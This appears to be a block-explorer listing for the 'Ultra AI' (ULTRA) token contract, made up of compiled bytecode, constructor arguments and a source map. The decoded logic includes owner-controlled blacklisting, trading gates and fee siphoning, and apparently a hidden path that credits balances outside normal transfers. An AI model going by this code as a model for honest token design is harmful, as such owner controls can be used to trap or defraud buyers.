54600d5411610f2e57600754610f32565b6009545b85906114a2565b90611527565b60175490915062010000900460ff161561102b576013546001600160a01b03848116911614801590610f7f57506011546001600160a01b03848116911614155b1561102b57325f9081526006602052604090205443116110195760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104d0565b325f9081526006602052604090204390555b6011546001600160a01b03858116911614801561105657506013546001600160a01b03848116911614155b801561107a57506001600160a01b0383165f9081526002602052604090205460ff16155b15611160576015548211156110d15760405162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865205f6d6178554c5452415472616e732e000000000060448201526064016104d0565b601654826110f3856001600160a01b03165f9081526004602052604090205490565b6110fd9190611bcd565b111561114b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d0565b600d8054905f61115a83611bb5565b91905055505b6011546001600160a01b03848116911614801561118657506001600160a01b0384163014155b156111b3576111b06064610f39600c54600d54116111a657600854610f32565b600a5485906114a2565b90505b305f908152600460205260409020546111ce85858585611568565b15611202576111f06111eb846111e6846014546116fb565b6116fb565b611301565b478015611200576112004761146b565b505b505b6001600160a01b0384165f90815260046020526040902054611226908361170f565b6001600160a01b0385165f9081526004602052604090205561126961124b838361170f565b6001600160a01b0385165f9081526004602052604090205490611750565b6001600160a01b038085165f8181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112b2858561170f565b60405190815260200160405180910390a350505050565b5f81848411156112ec5760405162461bcd60e51b81526004016104d091906117da565b505f6112f88486611be0565b95945050505050565b6017805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061134357611343611ba1565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113be9190611b3c565b816001815181106113d1576113d1611ba1565b6001600160a01b0392831660209182029290920101526013546113f79130911684610bea565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f9085905f90869030904290600401611bf3565b5f604051808303815f87803b158015611446575f80fd5b505af1158015611458573d5f803e3d5ffd5b50506017805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610912573d5f803e3d5ffd5b5f825f036114b157505f6107fd565b5f6114bc8385611b25565b9050826114c98583611c62565b146115205760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d0565b9392505050565b5f61152083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ae565b601254305f908152600460209081526040808320546001600160a01b03891684526003909252822054919283928392828810159211159060ff16156115b2578893508692506115b9565b8592503093505b821561163d576001600160a01b0384165f908152600460205260409020546115e19084611750565b6001600160a01b038086165f8181526004602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611634908a815260200190565b60405180910390a35b601754610100900460ff1615801561165e57506017546301000000900460ff165b801561166c575060175460ff165b80156116755750815b801561168e57506011546001600160a01b038981169116145b80156116975750805b80156116a65750600e54600d54115b80156116ca57506001600160a01b0389165f9081526002602052604090205460ff16155b80156116ee57506001600160a01b0389165f9081526003602052604090205460ff16155b9998505050505050505050565b5f8183116117095782611520565b50919050565b5f61152083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c9565b5f8061175c8385611bcd565b9050838110156115205760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d0565b5f81836117ce5760405162461bcd60e51b81526004016104d091906117da565b505f6112f88486611c62565b5f6020808352835180828501525f5b81811015611805578581018301518582016040015282016117e9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107ea575f80fd5b803561184481611825565b919050565b5f806040838503121561185a575f80fd5b823561186581611825565b946020939093013593505050565b5f805f60608486031215611885575f80fd5b833561189081611825565b925060208401356118a081611825565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156118d6575f80fd5b823567ffffffffffffffff808211156118ed575f80fd5b818501915085601f830112611900575f80fd5b813581811115611912576119126118b1565b8060051b604051601f19603f83011681018181108582111715611937576119376118b1565b604052918252848201925083810185019188831115611954575f80fd5b938501935b828510156119795761196a85611839565b84529385019392850192611959565b98975050505050505050565b5f60208284031215611995575f80fd5b813561152081611825565b5f80604083850312156119b1575f80fd5b82356119bc81611825565b915060208301356119cc81611825565b809150509250929050565b5f602082840312156119e7575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a7157815f1904821115611a5757611a57611a23565b80851615611a6457918102915b93841c9390800290611a3c565b509250929050565b5f82611a87575060016107fd565b81611a9357505f6107fd565b8160018114611aa95760028114611ab357611acf565b60019150506107fd565b60ff841115611ac457611ac4611a23565b50506001821b6107fd565b5060208310610133831016604e8410600b8410161715611af2575081810a6107fd565b611afc8383611a37565b805f1904821115611b0f57611b0f611a23565b029392505050565b5f61152060ff841683611a79565b80820281158282048414176107fd576107fd611a23565b5f60208284031215611b4c575f80fd5b815161152081611825565b5f805f60608486031215611b69575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611b92575f80fd5b81518015158114611520575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60018201611bc657611bc6611a23565b5060010190565b808201808211156107fd576107fd611a23565b818103818111156107fd576107fd611a23565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611c415784516001600160a01b031683529383019391830191600101611c1c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611c7c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205a79dc0566b04ce4b3382c392f08ff10b08cb9f9bbc04249a7ebb335589cc42464736f6c634300081400330000000000000000000000000000000000000000000000000000000000002710000000000000000000000000f25d914093ef9699310a49824b29527d06d7c766

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063751039fc116100cd578063c876d0b911610087578063dc25473311610062578063dc2547331461041c578063dd62ed3e14610430578063ec1f3f6314610474578063f5648a4f14610493575f80fd5b8063c876d0b9146103c9578063d34628cc146103e8578063d5b6f71e14610407575f80fd5b8063751039fc14610319578063772308ba1461032d5780638da5cb5b1461034257806394ff3fda1461036857806395d89b411461037d578063a9059cbb146103aa575f80fd5b806331c2d8471161011e57806331c2d847146102525780633bbac579146102715780634635318d146102a857806351bc3c85146102bd57806370a08231146102d1578063715018a614610305575f80fd5b80630161a2901461016f57806306fdde0314610185578063095ea7b3146101c757806318160ddd146101f657806323b872dd14610218578063313ce56714610237575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104a7565b005b348015610190575f80fd5b50604080518082019091526008815267556c74726120414960c01b60208201525b6040516101be91906117da565b60405180910390f35b3480156101d2575f80fd5b506101e66101e1366004611849565b6107ed565b60405190151581526020016101be565b348015610201575f80fd5b5061020a610803565b6040519081526020016101be565b348015610223575f80fd5b506101e6610232366004611873565b610823565b348015610242575f80fd5b50604051600981526020016101be565b34801561025d575f80fd5b5061018361026c3660046118c5565b610885565b34801561027c575f80fd5b506101e661028b366004611985565b6001600160a01b03165f9081526001602052604090205460ff1690565b3480156102b3575f80fd5b5061020a60125481565b3480156102c8575f80fd5b50610183610916565b3480156102dc575f80fd5b5061020a6102eb366004611985565b6001600160a01b03165f9081526004602052604090205490565b348015610310575f80fd5b5061018361096d565b348015610324575f80fd5b506101836109de565b348015610338575f80fd5b5061020a60155481565b34801561034d575f80fd5b505f546040516001600160a01b0390911681526020016101be565b348015610373575f80fd5b5061020a60145481565b348015610388575f80fd5b50604080518082019091526005815264554c54524160d81b60208201526101b1565b3480156103b5575f80fd5b506101e66103c4366004611849565b610a1f565b3480156103d4575f80fd5b506017546101e69062010000900460ff1681565b3480156103f3575f80fd5b506101836104023660046118c5565b610a2b565b348015610412575f80fd5b5061020a60165481565b348015610427575f80fd5b50610183610ab8565b34801561043b575f80fd5b5061020a61044a3660046119a0565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561047f575f80fd5b5061018361048e3660046119d7565b610b49565b34801561049e575f80fd5b50610183610b98565b5f546001600160a01b031633146104d95760405162461bcd60e51b81526004016104d0906119ee565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105279030906105146009600a611b17565b61052290633b9aca00611b25565b610bea565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610577573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059b9190611b3c565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061e9190611b3c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610668573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190611b3c565b601180546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306106d3816001600160a01b03165f9081526004602052604090205490565b5f806106e65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107719190611b57565b505060115460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ea9190611b82565b50565b5f6107f9338484610bea565b5060015b92915050565b5f6108106009600a611b17565b61081e90633b9aca00611b25565b905090565b5f61082f848484610d0d565b61087b843361052285604051806060016040528060288152602001611c82602891396001600160a01b038a165f90815260056020908152604080832033845290915290205491906112c9565b5060019392505050565b5f546001600160a01b031633146108ae5760405162461bcd60e51b81526004016104d0906119ee565b5f5b8151811015610912575f60015f8484815181106108cf576108cf611ba1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061090a81611bb5565b9150506108b0565b5050565b5f546001600160a01b0316331461093f5760405162461bcd60e51b81526004016104d0906119ee565b305f90815260046020526040902054801561095d5761095d81611301565b478015610912576109128161146b565b5f546001600160a01b031633146109965760405162461bcd60e51b81526004016104d0906119ee565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610a075760405162461bcd60e51b81526004016104d0906119ee565b5f1960158190556016556017805462ff000019169055565b5f6107f9338484610d0d565b5f546001600160a01b03163314610a545760405162461bcd60e51b81526004016104d0906119ee565b5f5b8151811015610912576001805f848481518110610a7557610a75611ba1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610ab081611bb5565b915050610a56565b5f546001600160a01b03163314610ae15760405162461bcd60e51b81526004016104d0906119ee565b60175460ff1615610b345760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d0565b6017805463ff0000ff19166301000001179055565b5f546001600160a01b03163314610b725760405162461bcd60e51b81526004016104d0906119ee565b6009548111158015610b865750600a548111155b610b8e575f80fd5b6009819055600a55565b5f546001600160a01b03163314610bc15760405162461bcd60e51b81526004016104d0906119ee565b60405133904780156108fc02915f818181858888f193505050501580156107ea573d5f803e3d5ffd5b6001600160a01b038316610c4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d0565b6001600160a01b038216610cad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d0565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d715760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d0565b6001600160a01b038216610dd35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d0565b5f8111610e345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d0565b6001600160a01b0383165f9081526002602052604081205460ff16158015610e7457506001600160a01b0383165f9081526002602052604090205460ff16155b15611204576001600160a01b0384165f9081526001602052604090205460ff16158015610eb957506001600160a01b0383165f9081526001602052604090205460ff16155b610ec1575f80fd5b60175460ff16610f135760405162461bcd60e51b815260206004820152601b60248201527f54726164696e6720686173206e6f7420656e61626c656420796574000000000060448201526064016104d0565b610f3f6064610f39600b54600d5411610f2e57600754610f32565b6009545b85906114a2565b90611527565b60175490915062010000900460ff161561102b576013546001600160a01b03848116911614801590610f7f57506011546001600160a01b03848116911614155b1561102b57325f9081526006602052604090205443116110195760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104d0565b325f9081526006602052604090204390555b6011546001600160a01b03858116911614801561105657506013546001600160a01b03848116911614155b801561107a57506001600160a01b0383165f9081526002602052604090205460ff16155b15611160576015548211156110d15760405162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865205f6d6178554c5452415472616e732e000000000060448201526064016104d0565b601654826110f3856001600160a01b03165f9081526004602052604090205490565b6110fd9190611bcd565b111561114b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d0565b600d8054905f61115a83611bb5565b91905055505b6011546001600160a01b03848116911614801561118657506001600160a01b0384163014155b156111b3576111b06064610f39600c54600d54116111a657600854610f32565b600a5485906114a2565b90505b305f908152600460205260409020546111ce85858585611568565b15611202576111f06111eb846111e6846014546116fb565b6116fb565b611301565b478015611200576112004761146b565b505b505b6001600160a01b0384165f90815260046020526040902054611226908361170f565b6001600160a01b0385165f9081526004602052604090205561126961124b838361170f565b6001600160a01b0385165f9081526004602052604090205490611750565b6001600160a01b038085165f8181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112b2858561170f565b60405190815260200160405180910390a350505050565b5f81848411156112ec5760405162461bcd60e51b81526004016104d091906117da565b505f6112f88486611be0565b95945050505050565b6017805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061134357611343611ba1565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113be9190611b3c565b816001815181106113d1576113d1611ba1565b6001600160a01b0392831660209182029290920101526013546113f79130911684610bea565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f9085905f90869030904290600401611bf3565b5f604051808303815f87803b158015611446575f80fd5b505af1158015611458573d5f803e3d5ffd5b50506017805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610912573d5f803e3d5ffd5b5f825f036114b157505f6107fd565b5f6114bc8385611b25565b9050826114c98583611c62565b146115205760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d0565b9392505050565b5f61152083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ae565b601254305f908152600460209081526040808320546001600160a01b03891684526003909252822054919283928392828810159211159060ff16156115b2578893508692506115b9565b8592503093505b821561163d576001600160a01b0384165f908152600460205260409020546115e19084611750565b6001600160a01b038086165f8181526004602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611634908a815260200190565b60405180910390a35b601754610100900460ff1615801561165e57506017546301000000900460ff165b801561166c575060175460ff165b80156116755750815b801561168e57506011546001600160a01b038981169116145b80156116975750805b80156116a65750600e54600d54115b80156116ca57506001600160a01b0389165f9081526002602052604090205460ff16155b80156116ee57506001600160a01b0389165f9081526003602052604090205460ff16155b9998505050505050505050565b5f8183116117095782611520565b50919050565b5f61152083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c9565b5f8061175c8385611bcd565b9050838110156115205760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d0565b5f81836117ce5760405162461bcd60e51b81526004016104d091906117da565b505f6112f88486611c62565b5f6020808352835180828501525f5b81811015611805578581018301518582016040015282016117e9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107ea575f80fd5b803561184481611825565b919050565b5f806040838503121561185a575f80fd5b823561186581611825565b946020939093013593505050565b5f805f60608486031215611885575f80fd5b833561189081611825565b925060208401356118a081611825565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156118d6575f80fd5b823567ffffffffffffffff808211156118ed575f80fd5b818501915085601f830112611900575f80fd5b813581811115611912576119126118b1565b8060051b604051601f19603f83011681018181108582111715611937576119376118b1565b604052918252848201925083810185019188831115611954575f80fd5b938501935b828510156119795761196a85611839565b84529385019392850192611959565b98975050505050505050565b5f60208284031215611995575f80fd5b813561152081611825565b5f80604083850312156119b1575f80fd5b82356119bc81611825565b915060208301356119cc81611825565b809150509250929050565b5f602082840312156119e7575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a7157815f1904821115611a5757611a57611a23565b80851615611a6457918102915b93841c9390800290611a3c565b509250929050565b5f82611a87575060016107fd565b81611a9357505f6107fd565b8160018114611aa95760028114611ab357611acf565b60019150506107fd565b60ff841115611ac457611ac4611a23565b50506001821b6107fd565b5060208310610133831016604e8410600b8410161715611af2575081810a6107fd565b611afc8383611a37565b805f1904821115611b0f57611b0f611a23565b029392505050565b5f61152060ff841683611a79565b80820281158282048414176107fd576107fd611a23565b5f60208284031215611b4c575f80fd5b815161152081611825565b5f805f60608486031215611b69575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611b92575f80fd5b81518015158114611520575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60018201611bc657611bc6611a23565b5060010190565b808201808211156107fd576107fd611a23565b818103818111156107fd576107fd611a23565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611c415784516001600160a01b031683529383019391830191600101611c1c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611c7c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205a79dc0566b04ce4b3382c392f08ff10b08cb9f9bbc04249a7ebb335589cc42464736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000002710000000000000000000000000f25d914093ef9699310a49824b29527d06d7c766

-----Decoded View---------------
Arg [0] : _amount (uint256): 10000
Arg [1] : _addres (address): 0xf25D914093ef9699310A49824B29527d06D7C766

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000002710
Arg [1] : 000000000000000000000000f25d914093ef9699310a49824b29527d06d7c766


Deployed Bytecode Sourcemap

4457:9516:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6675:549;;;;;;;;;;;;;:::i;:::-;;8138:83;;;;;;;;;;-1:-1:-1;8208:5:0;;;;;;;;;;;;-1:-1:-1;;;8208:5:0;;;;8138:83;;;;;;;:::i;:::-;;;;;;;;8324:161;;;;;;;;;;-1:-1:-1;8324:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;8324:161:0;1162:187:1;13310:95:0;;;;;;;;;;;;;:::i;:::-;;;1500:25:1;;;1488:2;1473:18;13310:95:0;1354:177:1;7575:313:0;;;;;;;;;;-1:-1:-1;7575:313:0;;;;;:::i;:::-;;:::i;8047:83::-;;;;;;;;;;-1:-1:-1;8047:83:0;;4688:1;2139:36:1;;2127:2;2112:18;8047:83:0;1997:184:1;13545:162:0;;;;;;;;;;-1:-1:-1;13545:162:0;;;;;:::i;:::-;;:::i;13887:83::-;;;;;;;;;;-1:-1:-1;13887:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;13955:7:0;13934:4;13955:7;;;:4;:7;;;;;;;;;13887:83;5565:29;;;;;;;;;;;;;;;;12861:314;;;;;;;;;;;;;:::i;13413:124::-;;;;;;;;;;-1:-1:-1;13413:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;13506:23:0;13479:7;13506:23;;;:14;:23;;;;;;;13413:124;1659:148;;;;;;;;;;;;;:::i;9660:166::-;;;;;;;;;;;;;:::i;5710:56::-;;;;;;;;;;;;;;;;1445:79;;;;;;;;;;-1:-1:-1;1483:7:0;1510:6;1445:79;;-1:-1:-1;;;;;1510:6:0;;;3842:51:1;;3830:2;3815:18;1445:79:0;3696:203:1;5648:55:0;;;;;;;;;;;;;;;;8229:87;;;;;;;;;;-1:-1:-1;8301:7:0;;;;;;;;;;;;-1:-1:-1;;;8301:7:0;;;;8229:87;;9291:167;;;;;;;;;;-1:-1:-1;9291:167:0;;;;;:::i;:::-;;:::i;6011:40::-;;;;;;;;;;-1:-1:-1;6011:40:0;;;;;;;;;;;13715:164;;;;;;;;;;-1:-1:-1;13715:164:0;;;;;:::i;:::-;;:::i;5773:57::-;;;;;;;;;;;;;;;;9018:166;;;;;;;;;;;;;:::i;7896:143::-;;;;;;;;;;-1:-1:-1;7896:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8004:18:0;;;7977:7;8004:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7896:143;9466:186;;;;;;;;;;-1:-1:-1;9466:186:0;;;;;:::i;:::-;;:::i;13183:119::-;;;;;;;;;;;;;:::i;6675:549::-;1572:6;;-1:-1:-1;;;;;1572:6:0;1102:10;1572:22;1564:67;;;;-1:-1:-1;;;1564:67:0;;;;;;;:::i;:::-;;;;;;;;;6730:15:::1;:76:::0;;-1:-1:-1;;;;;;6730:76:0::1;6763:42;6730:76:::0;;::::1;::::0;;;6817:58:::1;::::0;6834:4:::1;::::0;4744:13:::1;4688:1;4744:2;:13;:::i;:::-;4731:26;::::0;:10:::1;:26;:::i;:::-;6817:8;:58::i;:::-;6918:15;;;;;;;;;-1:-1:-1::0;;;;;6918:15:0::1;-1:-1:-1::0;;;;;6918:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6902:53:0::1;;6964:4;6971:15;;;;;;;;;-1:-1:-1::0;;;;;6971:15:0::1;-1:-1:-1::0;;;;;6971:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6902:92;::::0;-1:-1:-1;;;;;;6902:92:0::1;::::0;;;;;;-1:-1:-1;;;;;7017:15:1;;;6902:92:0::1;::::0;::::1;6999:34:1::0;7069:15;;7049:18;;;7042:43;6934:18;;6902:92:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6886:13;:108:::0;;-1:-1:-1;;;;;6886:108:0;;::::1;-1:-1:-1::0;;;;;;6886:108:0;;::::1;;::::0;;7005:15:::1;::::0;::::1;:31;7044:21;7075:4;7081:24;7075:4:::0;-1:-1:-1;;;;;13506:23:0;13479:7;13506:23;;;:14;:23;;;;;;;13413:124;7081:24:::1;7106:1;7108::::0;7110:7:::1;1483::::0;1510:6;-1:-1:-1;;;;;1510:6:0;;1445:79;7110:7:::1;7005:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7005:129:0;;;-1:-1:-1;;;;;7455:15:1;;;7005:129:0::1;::::0;::::1;7437:34:1::0;7487:18;;;7480:34;;;;7530:18;;;7523:34;;;;7573:18;;;7566:34;7637:15;;;7616:19;;;7609:44;7118:15:0::1;7669:19:1::0;;;7662:35;7371:19;;7005:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7152:13:0::1;::::0;7183:15:::1;::::0;7145:71:::1;::::0;-1:-1:-1;;;7145:71:0;;-1:-1:-1;;;;;7183:15:0;;::::1;7145:71;::::0;::::1;8193:51:1::0;-1:-1:-1;;8260:18:1;;;8253:34;7152:13:0;::::1;::::0;-1:-1:-1;7145:29:0::1;::::0;8166:18:1;;7145:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6675:549::o:0;8324:161::-;8399:4;8416:39;1102:10;8439:7;8448:6;8416:8;:39::i;:::-;-1:-1:-1;8473:4:0;8324:161;;;;;:::o;13310:95::-;13363:7;4744:13;4688:1;4744:2;:13;:::i;:::-;4731:26;;:10;:26;:::i;:::-;13383:14;;13310:95;:::o;7575:313::-;7673:4;7690:36;7700:6;7708:9;7719:6;7690:9;:36::i;:::-;7737:121;7746:6;1102:10;7768:89;7806:6;7768:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7768:19:0;;;;;;:11;:19;;;;;;;;1102:10;7768:33;;;;;;;;;;:37;:89::i;7737:121::-;-1:-1:-1;7876:4:0;7575:313;;;;;:::o;13545:162::-;1572:6;;-1:-1:-1;;;;;1572:6:0;1102:10;1572:22;1564:67;;;;-1:-1:-1;;;1564:67:0;;;;;;;:::i;:::-;13618:6:::1;13613:87;13634:6;:13;13630:1;:17;13613:87;;;13685:5;13667:4;:15;13672:6;13679:1;13672:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13667:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13667:15:0;:23;;-1:-1:-1;;13667:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13649:3;::::1;::::0;::::1;:::i;:::-;;;;13613:87;;;;13545:162:::0;:::o;12861:314::-;1572:6;;-1:-1:-1;;;;;1572:6:0;1102:10;1572:22;1564:67;;;;-1:-1:-1;;;1564:67:0;;;;;;;:::i;:::-;12952:4:::1;12913:20;13506:23:::0;;;:14;:23;;;;;;12972:14;;12969:73:::1;;13000:30;13017:12;13000:16;:30::i;:::-;13071:21;13106:12:::0;;13103:65:::1;;13132:24;13145:10;13132:12;:24::i;1659:148::-:0;1572:6;;-1:-1:-1;;;;;1572:6:0;1102:10;1572:22;1564:67;;;;-1:-1:-1;;;1564:67:0;;;;;;;:::i;:::-;1766:1:::1;1750:6:::0;;1729:40:::1;::::0;-1:-1:-1;;;;;1750:6:0;;::::1;::::0;1729:40:::1;::::0;1766:1;;1729:40:::1;1797:1;1780:19:::0;;-1:-1:-1;;;;;;1780:19:0::1;::::0;;1659:148::o;9660:166::-;1572:6;;-1:-1:-1;;;;;1572:6:0;1102:10;1572:22;1564:67;;;;-1:-1:-1;;;1564:67:0;;;;;;;:::i;:::-;-1:-1:-1;;9713:14:0::1;:28:::0;;;9752:15:::1;:29:::0;9792:20:::1;:26:::0;;-1:-1:-1;;9792:26:0::1;::::0;;9660:166::o;9291:167::-;9369:4;9386:42;1102:10;9410:9;9421:6;9386:9;:42::i;13715:164::-;1572:6;;-1:-1:-1;;;;;1572:6:0;1102:10;1572:22;1564:67;;;;-1:-1:-1;;;1564:67:0;;;;;;;:::i;:::-;13789:6:::1;13784:88;13805:5;:12;13801:1;:16;13784:88;;;13856:4;13839::::0;:14:::1;13844:5;13850:1;13844:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13839:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13839:14:0;:21;;-1:-1:-1;;13839:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13819:3;::::1;::::0;::::1;:::i;:::-;;;;13784:88;;9018:166:::0;1572:6;;-1:-1:-1;;;;;1572:6:0;1102:10;1572:22;1564:67;;;;-1:-1:-1;;;1564:67:0;;;;;;;:::i;:::-;9080:11:::1;::::0;::::1;;9079:12;9071:47;;;::::0;-1:-1:-1;;;9071:47:0;;9054:2:1;9071:47:0::1;::::0;::::1;9036:21:1::0;9093:2;9073:18;;;9066:30;9132:25;9112:18;;;9105:53;9175:18;;9071:47:0::1;8852:347:1::0;9071:47:0::1;9129:11;:18:::0;